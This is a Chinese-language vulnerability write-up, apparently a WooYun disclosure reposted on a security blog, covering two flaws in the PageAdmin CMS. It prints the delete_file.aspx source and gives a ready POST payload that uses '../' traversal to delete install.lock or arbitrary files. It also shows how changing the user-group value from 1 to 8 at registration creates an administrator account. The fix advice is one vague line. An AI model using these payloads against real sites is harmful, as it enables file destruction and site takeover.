最新版任意文件删除 漏洞一 任意文件删除 可导致系统重装 不过需要管理员权限 看下这个文件 e/aspx/delete_file.aspx
<% @ Page language="c#"%> <% @ Import NameSpace="System.Data"%> <% @ Import NameSpace="System.Data.OleDb"%> <% @ Import NameSpace="System.IO"%> <% @ Import NameSpace="PageAdmin"%> <script Language="C#" Runat="server"> override protected void OnInit(EventArgs e) { Check_Post(); string Table=Request.Form["table"]; string Field=Request.Form["field"]; string Id=Request.Form["id"]; string D_File=Request.Form["path"]; string UserName=""; int IsMaster=0; int CanDel=1; if(IsStr(Table) && IsStr(Field) && IsNum(Id)) { Conn theconn=new Conn(); OleDbConnection conn=new OleDbConnection(theconn.Constr()); conn.Open(); if(Request.Cookies["Master"]!=null) { Master_Valicate Master=new Master_Valicate(); Master.Master_Check(); IsMaster=1; } else { Member_Valicate Member=new Member_Valicate(); Member.Member_Check(); UserName=Member._UserName; } string sql; OleDbCommand comm; OleDbDataReader dr; sql="select id from pa_field where thetable='"+Table+"' and [field]='"+Field+"'"; comm=new OleDbCommand(sql,conn); dr=comm.ExecuteReader(); if(!dr.Read() { CanDel=0; } dr.Close(); if(CanDel==1) //数据库要有刚才那个记录 candel的值才不会被修改为0 { if(IsMaster==1) //需要管理员权限 { Del_File(D_File); //跟进 } if(Id!="0") { if(IsMaster==0) { sql="update "+Table+" set "+Field+"='' where username='"+UserName+"'' and id="+Id; } else { sql="update "+Table+" set "+Field+"='' where id="+Id; } comm=new OleDbCommand(sql,conn); comm.ExecuteNonQuery(); if(IsMaster==0) { sql="update pa_file set detail_id=0 where username='"+UserName+"'' and thetable='"+Table+"' and [field]='"+Field+"' and detail_id="+Id; } else { sql="update pa_file set detail_id=0 where thetable='"+Table+"' and [field]='"+Field+"' and detail_id="+Id; } comm=new OleDbCommand(sql,conn); comm.ExecuteNonQuery(); } } conn.Close(); } } private void Del_File(string FilePath) { if(FilePath!="" && FilePath.IndexOf(":")<0 && FilePath.IndexOf("/e/upload/")==0) //没过滤..可跳出目录 要以/e/upload/ 开头 { if(FilePath.IndexOf("/zdy/")<0) { FilePath=Server.MapPath(FilePath); if(File.Exists(FilePath)) { File.Delete(FilePath); } } } } 漏洞证明 可结合大牛的漏洞进行组合攻击 PageAdmin可绕过验证伪造任意用户身份登录(前台、后台) http://wooyun.org/bugs/wooyun-2010-061861 现在进行测试就不用上面的步骤了,默认admin/admin 登陆后台, 然后访问 http://192.168.1.104/e/aspx/delete_file.aspx post 提交 table=pa_member&Field=pa_address&id=0&path=/e/upload/../install/install.lock 本来是这样的 install.lock没删除 按上面操作之后 系统就可以重新安装了 或者可删除任意文件了 漏洞二 系统后台是默认 不允许注册管理员的 我们看下前台注册吧 访问 http://192.168.1.104/e/member/index.aspx?s=1&type=reg 我们提交注册信息抓下包看看 多了一个用户组 1代表普通会员 8代表管理员 把他修改成提交
然后看下后台 后台虽然设置了 禁止注册管理员账号 但是我们还是注册了管理员账号 如果开启了这样的模式 很多人认为 如果禁止了管理员注册了 那么第二个选项 是否审核注册用户觉得很多余了 干脆不审核注册管理员账号 或者可以设置邮箱验证(下拉有三个选项 不要选无需验证就好) 哈哈 那就危险了
修复方案:对参数进行处理 |
-
上一篇: Ecmall Sql 注入 第二弹 - 网站安全 - 自学php
下一篇: 某电子邮件客户端软件本地XSS漏洞 - 网站安全
还没有人抢沙发呢~